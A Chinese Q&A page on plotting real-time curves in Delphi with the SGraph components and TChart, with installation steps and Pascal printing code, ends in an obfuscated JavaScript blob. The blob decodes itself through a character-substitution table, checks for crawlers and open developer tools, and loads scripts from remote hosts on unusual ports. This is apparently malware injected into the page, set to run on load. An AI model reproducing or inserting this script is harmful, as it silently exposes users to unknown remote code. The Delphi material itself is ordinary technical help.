在Delphi中用chart空间实现实时曲线绘制的方法?

2025-02-04 04:13:33
推荐回答(3个)
回答1:

  Delphi软件提供了图表部件Chart,可以生成条形图、折线图、饼图等各种形式,并允许具有三维外观等视觉特性。Chart包含两种不同的控件,分别用于创建一般数据图表和数据库图表,这两个控件分别是Additional页上的Chart控件和DataControls页上的DBChart控件。本系统需要实时测量温度的实际值,并绘制温度值(Y轴)和时间(X轴)的关系曲线,以便观测,而这两个控件绘制出的图形或曲线是以某些数据或某一个数据库表为基础,不便实时更新。所以Chart部件在用于绘制系统实时测量曲线时不太合适。为了解决实时测量曲线绘制的难题,在网站 http://www.iae.nsk.su/~lab12/pod上找到了能实现该功能的控件,控件Tsp_XYPlot和Tsp_XYLine专门用来绘制二维图形,调用控件的过程和函数能够实现图形的绘制、打印等。可以在窗口上设定需要的坐标轴,坐标轴的网格线、宽度、刻度及坐标轴的最大、最小尺寸、颜色等,曲线是否显示、颜色、线型、粗细及曲线的点是否显示和形状等,还可以实现图形放大、缩小显示、打印等功能。免费下载其软件包spsgraph.zip,包中有:支持控件的pascal源文件、帮助文件和演示程序等。

  文件下载成功后,将包解开,按以下步骤安装控件到Delphi组件中。

  1.启动Delphi后,进入Component,点击Install Component进入其界面。

  2.在Install Component界面上的unit file name 选项中,按browser找到spsgraph子目录,选择sgr_date.pas,然后按ok,出现提示框:Package dclusr50.bpl will be rebuilt, Continue? 按yes继续。

  3.出现提示框:Package 'dclusr50' will be compiled. Continue? 按yes 继续。

  4.重复步骤1~3,依次将spsgraph子目录下的sgr_def.pas、sgr_misc.pas、sgr_reg.pas、sgr_scale.pas 文件安装,则控件安装完成。

  控件安装完成后,自动安装在Samples控件中。以后使用时,从Samples中取出控件放在窗口界面上即可。

  三、曲线绘制控件的使用

  控件Tsp_XYPlot 和Tsp_XYLine可以通过适当配置完成单条和多条曲线的绘制操作,从而可以实现在一幅图中显示几种不同的曲线。主要控件Tsp_XYPlot提供基本绘图功能,是坐标轴、图形曲线的画布。利用Tsp_XYLine可以在Tsp_XYPlot上绘制二维图形或曲线。

  1.TSP_XYPlot控件设计时常用属性

  Tsp_XYPlot控件有两个横轴、两个纵轴。轴的最大值、最小值可以自动或手动设置。程序设置时主要设置坐标轴属性,四个坐标轴为:左轴、右轴、顶轴、底轴,其属性基本相同。

  Width、height:设置Tsp_XYPlot的宽度和高度值。

  AutoMax、AutoMin:最大、最小值属性,true:自动设置坐标轴的最大、最小值,false:手动设置最大、最小值。

  GridAttr:网格线属性,设置网格线颜色、粗细、形式及是否翻转等。

  LineAttr:坐标轴属性,设置坐标轴颜色、粗细、形式、最大值、最小值、是否标记、刻度值等。

  2.TSP_XYLine控件设计时常用属性

  Plot:绘图设置属性,用于设置绘制TSP_XYLine的画布。选择Frame上的Tsp_XYPlot控件。

  Xaxis、Yaxis:X、Y轴设置属性,选择左、右、顶、底轴中的两个轴。

  LineAttr:曲线线型属性,设置曲线颜色、粗细、形式。如在同一个Tsp_XYPlot控件上绘制两条以上曲线时,为区分可以设置不同的曲线颜色。

  PointAttr:曲线上点属性,设置点的颜色、大小、种类、形式、是否可见等属性。

  3.TSP_XYLine控件运行时常用属性

  Clear:清除绘制的曲线

  InsertXY( I: integer; X:double; Y:double ):在曲线上第I个位置开始绘制点,X、Y为要绘制的横、纵坐标值。

  AddXY(X:double;Y:double):在Tsp_XYPlot控件上画(X,Y)点。

  四、实时数据采集曲线的绘制

  绘制实时数据采集曲线是为了方便实时观测,实际中一般是与给定控制曲线进行比较,以便观察控制效果。绘制曲线前首先将需要的坐标轴及坐标轴的尺寸、刻度等设定好,然后根据测量结果及采集时间绘制实时测量曲线

  1.坐标轴与网格的设置

  新建一个Form,属性Name为 mainform。添加一个Tsp_XYPlot和TSP_XYLine控件,其Name属性分别为xyplot1和xyline1。然后开始设置xyplot1和xyline1的各种属性。在计算机液氮温度控制系统中,温度控制范围为40℃~200℃,控制时间为15分钟,左轴(纵轴)为实测温度,底轴(横轴)为时间。左轴设置:clBlack(黑色)、1(轴宽度)、psSolid(实线)、40(最大温度)、-160(最低温度)、11(刻度数)。底轴设置:clBlack(黑色)、1(轴宽度)、psSolid(实线)、15(最大时间)、0(最小时间)、11(刻度数)。其他属性按默认选项设置。

  网格线设置:clgray(灰色), psSolid(实线),其是否可见属性为:true。

  2.实时曲线绘制

  设置好坐标轴和网格属性后,利用TSP_XYLine控件的过程InsertXY( I: integer; X:double; Y:double ),可以开始绘制实时曲线。设xyline1的plot属性为xyplot1,为了将实测曲线与给定曲线区分开,设置实测曲线的xyline1.LineAttr.color:=clred;即设置颜色为红色。系统实际运行时,测量一个数据,则插入一点,直到测量结束。其曲线绘制部分程序为:

  xyline1.LineAttr.Color:=clred; //设置颜色红色

  xyline1.insertxy(0,x,y); //xyline1.insertXY(0,x,y); //插入点

  3.放大、缩小显示效果的实现

  通过调整Tsp_XYPlot的width和height属性值,可以使显示的图形区域放大或缩小,可以程序设置也可以在运行窗口上用鼠标拖放以使显示图形放大或缩小。通过增加或减少刻度值可以使图形的网格线增多或减少。在程序中设置如:

  xyplot1.width=438,

  xyplot1.height:=568;

  xyplot1.LeftAxis.TicksCount :=11;

  xyplot1.BottomAxis.TicksCount=6;

  五、曲线的打印

  在mainform上放置按钮print,再放一个控件PrintDialog,其name属性为PrintDialog1,程序设计为按下print,则弹出打印机设置界面,在界面上设置如纸张大小、打印方向等,完成按“确定”后,即开始打印,相应程序如下。程序中自动根据纸张大小设置打印位置和左右边界等,将图形打印在纸张的中间位置,注意在程序的uses子句中,要引入printers打印机接口。

  procedure TMainForm.PrintClick(Sender: TObject);

  var EMF: TMetafile; MC: TMetafileCanvas;

   ar:double; R:TRect;

  begin

   if Not PrintDialog1.Execute then Exit;//打印机属性设置

   EMF := TMetafile.Create;

   try

   with XYPlot1 do

   begin

   EMF.Width:=Width;

   EMF.Height:=Height;//取出xyplot1的宽度、高度

   MC:=TMetafileCanvas.Create(EMF, Canvas.Handle);

   try

   DrawPlot(MC, Width, Height);

   finally

   MC.Free;

   end;

   ar:=Height/Width;//取出图形的高/宽比

   end;

   with Printer, R do

   begin

   Top:=0; Left:=0;

   if ar〈1 then

   begin

   Right:=round(PageWidth*0.4);

   Bottom:=round(Right*ar);

   end else

   begin

   Bottom:=round(PageHeight*0.4);

   Right:=round(Bottom/ar);

   end;

   OffsetRect(R,(PageWidth - Right) div 2, (PageHeight - Bottom) div 2);

   end;

   with Printer do

   begin

   BeginDoc;

   Canvas.StretchDraw(R, EMF);

   EndDoc;

   end;

   finally

   EMF.Free;

   end;

  end;
************************************** SGraph控件在Delphi7下的安装SGraph控件在Delphi7下的安装
SGRAPH是一个DELPHI环境下绘制X-Y座标图的免费构件,提供缩放图形等功能。作者 : Sergei P.Pod'yachev。
[海阔天空下载站]
http://www.hktk.com/soft/soft_con_image/sgraph.html
32 Bit Delphi 深度历险
http://www.vclxx.org/DELPHIGB/AAAT1025.HTM
( 2.40 版,附源码 )
以上网站提供下载。
由于该控件只提供D3、D4、D5版本,在D7下成功安装使用需要一些改动,下面把我的经验告诉大家:
1、下载压缩包SGRAPH.ZIP解压后,将以下文件COPY到C:\Program Files\Borland\Delphi7\Lib(Delphi7的安装目录)文件夹内:
sgr5.dpk
sgr_data.pas
sgr_def.pas
sgr_eds.pas
sgr_mark.pas
sgr_misc.pas
sgr_reg.pas
sgr_scale.pas
sgr_reg.dcr
2、打开D7,FILES/CLOSE ALL
3、FILES/OPEN
打开C:\Program Files\Borland\Delphi7\Lib\sgr5.dpk
出现一个Error错误对话框:
Cannot find resource file:C:\Program Files\Borland\Delphi7\Lib\sgr5.res.Recreated.
(找不到sgr5.res资源文件,重建)
点击OK.
4、出现Package-sgr5.dpk(包编译安装窗口)
5、出现一个Confirm窗口
This package appears to be in an older format. Would you like to convert it to the new format?

(这个包用更旧的格式。 你愿意把它转化成新格式式吗?)
选择
出现一个Information
Update complete.
6、Package-sgr5.dpk(包编译安装窗口)点击Compile(编译)
打开sgr_data.pas
出现很多
[Error] sgr_data.pas(277): Undeclared identifier: 'VarArrayCreate'
[Error] sgr_data.pas(279): Undeclared identifier: 'VarArrayHighBound'
[Error] sgr_data.pas(335): Undeclared identifier: 'VarArrayHighBound'
......
Undeclared identifier: '' 未说明的标识符
Undeclared identifier: 'VarArrayCreate(未说明的标识符'VarArrayCreate')
解决办法:在sgr_data.pas的use部分加入Variants
uses
Windows,SysUtils,Classes,Graphics,
sgr_scale, sgr_def,Variants;
然后Project/Syntax Check sgr5(语法检查),就不会报错了。再在Package-sgr5.dpk(包编译安装窗口)点击Compile(编译),也不会报错了
7、在Package-sgr5.dpk(包编译安装窗口)点击install(安装)
出现一个Information
Package C:\Program Files\Borland\Delphi7\projects\Bpl\sgr5.bpl has installed.
(C:\Program Files\Borland\Delphi7\projects\Bpl\sgr5.bpl包已经被安装)
The following new component(s) have been registered:
sgr_data.Tsp_SpectrLines,
sgr_data.Tsp_XYLine,
sgr_def.Tsp_XYPlot,
sgr_eds.Tsp_ndsXYLines,
sgr_mark.Tsp_ImageMarker,
sgr_mark.Tsp_LineMarker.

点击安装完成。
8、FILES/CLOSE ALL关闭当前活动窗口
出现一个Confirm
Save changes to project sgr5?

当然是
在D7的组件页中看到最后一页增加为Sgraph,里面为新增加的6个Sgraph控件。
*******************************************************放上TCHART以后,Unit1中隐含创建Series1(TFastLineSeries);
For I :=1 To 显示点数 Do
Series1.Add(0);

然后用数据采集事件(或定时)触发:
Series1.AddXY(Series1.XValues.Last+1,“AD的值”,“X坐标标注(可缺)”,“颜色(可缺)”);
把Series中的各个Point顺序向前平移:
For index := 0 to Series1.Count-2 do
Series1.yValues.Value[Index] := Series1.yValues.Value[Index+1];
同时:Series.Delect(0);删除原第一Point,

回答2:

使用 Canvas自画,这样可以完全自定义

回答3:

你可以看看sgraph套件,应该非常适合你

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();